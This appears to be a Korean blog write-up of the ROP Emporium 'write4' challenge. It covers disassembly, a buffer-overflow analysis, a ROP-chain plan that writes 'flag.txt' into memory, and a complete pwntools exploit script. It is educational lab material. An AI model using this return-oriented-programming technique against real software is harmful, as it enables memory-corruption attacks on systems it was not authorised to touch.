728x90
반응형
1. intro
2. code 및 분석
2.1. code
main
0x0000000000400607 <+0>: push %rbp
0x0000000000400608 <+1>: mov %rsp,%rbp
0x000000000040060b <+4>: call 0x400500 <pwnme@plt>
0x0000000000400610 <+9>: mov $0x0,%eax
0x0000000000400615 <+14>: pop %rbp
0x0000000000400616 <+15>: ret
usefulFunction
0x0000000000400617 <+0>: push %rbp
0x0000000000400618 <+1>: mov %rsp,%rbp
0x000000000040061b <+4>: mov $0x4006b4,%edi
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
0x0000000000400625 <+14>: nop
0x0000000000400626 <+15>: pop %rbp
0x0000000000400627 <+16>: ret
usefulGadget
0x0000000000400628 <+0>: mov %r15,(%r14)
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nopl 0x0(%rax)
printf_file
0x0000000000000943 <+0>: push %rbp
0x0000000000000944 <+1>: mov %rsp,%rbp
0x0000000000000947 <+4>: sub $0x40,%rsp
0x000000000000094b <+8>: mov %rdi,-0x38(%rbp)
0x000000000000094f <+12>: movq $0x0,-0x8(%rbp)
0x0000000000000957 <+20>: mov -0x38(%rbp),%rax
0x000000000000095b <+24>: lea 0xd5(%rip),%rsi # 0xa37
0x0000000000000962 <+31>: mov %rax,%rdi
0x0000000000000965 <+34>: call 0x7a0 <fopen@plt>
0x000000000000096a <+39>: mov %rax,-0x8(%rbp)
0x000000000000096e <+43>: cmpq $0x0,-0x8(%rbp)
0x0000000000000973 <+48>: jne 0x997 <print_file+84>
0x0000000000000975 <+50>: mov -0x38(%rbp),%rax
0x0000000000000979 <+54>: mov %rax,%rsi
0x000000000000097c <+57>: lea 0xb6(%rip),%rdi # 0xa39
0x0000000000000983 <+64>: mov $0x0,%eax
0x0000000000000988 <+69>: call 0x750 <printf@plt>
0x000000000000098d <+74>: mov $0x1,%edi
0x0000000000000992 <+79>: call 0x7b0 <exit@plt>
0x0000000000000997 <+84>: mov -0x8(%rbp),%rdx
0x000000000000099b <+88>: lea -0x30(%rbp),%rax
0x000000000000099f <+92>: mov $0x21,%esi
0x00000000000009a4 <+97>: mov %rax,%rdi
0x00000000000009a7 <+100>: call 0x780 <fgets@plt>
0x00000000000009ac <+105>: lea -0x30(%rbp),%rax
0x00000000000009b0 <+109>: mov %rax,%rdi
0x00000000000009b3 <+112>: call 0x730 <puts@plt>
0x00000000000009b8 <+117>: mov -0x8(%rbp),%rax
0x00000000000009bc <+121>: mov %rax,%rdi
0x00000000000009bf <+124>: call 0x740 <fclose@plt>
0x00000000000009c4 <+129>: movq $0x0,-0x8(%rbp)
0x00000000000009cc <+137>: nop
0x00000000000009cd <+138>: leave
0x00000000000009ce <+139>: ret
2.2. 분석
main 함수에서 pwnme 함수를 call하며, print_file 함수를 호출하는 usefulFunction과
%15를 %14의 값으로 복사하는 어셈블러 코드를 가진 usefulGadget을 제공한다.
print_file 함수에서는 rdi를 파일명으로하여 파일을 열어 읽고 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow
3.2. 공격 준비
이번에도 라이브러리 파일이 제공되며, 여기에 대부분 함수들이 들어있다.
┌[wyv3rn🐲]-(~/rop)
└> ls
flag.txt libwrite4.so write4 write4.zip
더불어 main 함수와 usefulFunction 함수에서 보듯 pwnme 함수와 print_file 함수가 라이브러리 파일 내에 들어있다.
분석에서 본 것처럼 rdi에 flag.txt 문자열의 주소를 rdi로 print_file 함수를 호출하면 되는데,
바이너리 내에 해당 문자열이 없기에 직접 삽입해줘야 한다.
이를 위해서 바이너리 내의 pop r14, r15, ret gadget을 통해 flag.txt 문자열과 이를 저장할 위치를 넣어두고,
usefulGadget을 통해 flag.txt 문자열을 넣어준다음
이 주소를 rdi로 print_file 함수를 호출하면 된다.
4. exploit
from pwn import *
p = process('./write4')
pay = b'A'*8*5
pay += p64(0x400616) #ret
pay += p64(0x400690) #pop r14 r15 ret
pay += p64(0x601100)
pay += b'flag.txt'
pay += p64(0x400628)
pay += p64(0x400693)
pay += p64(0x601100)
pay += p64(0x400620)
p.sendafter(b'> ',pay)
p.interactive()
728x90
반응형
'Wargame > ROP Emporium' 카테고리의 다른 글
fluff (0) | 2023.07.07 |
---|---|
badchar (0) | 2023.07.07 |
callme (0) | 2023.07.07 |
split (0) | 2023.07.07 |
ret2win (0) | 2023.07.07 |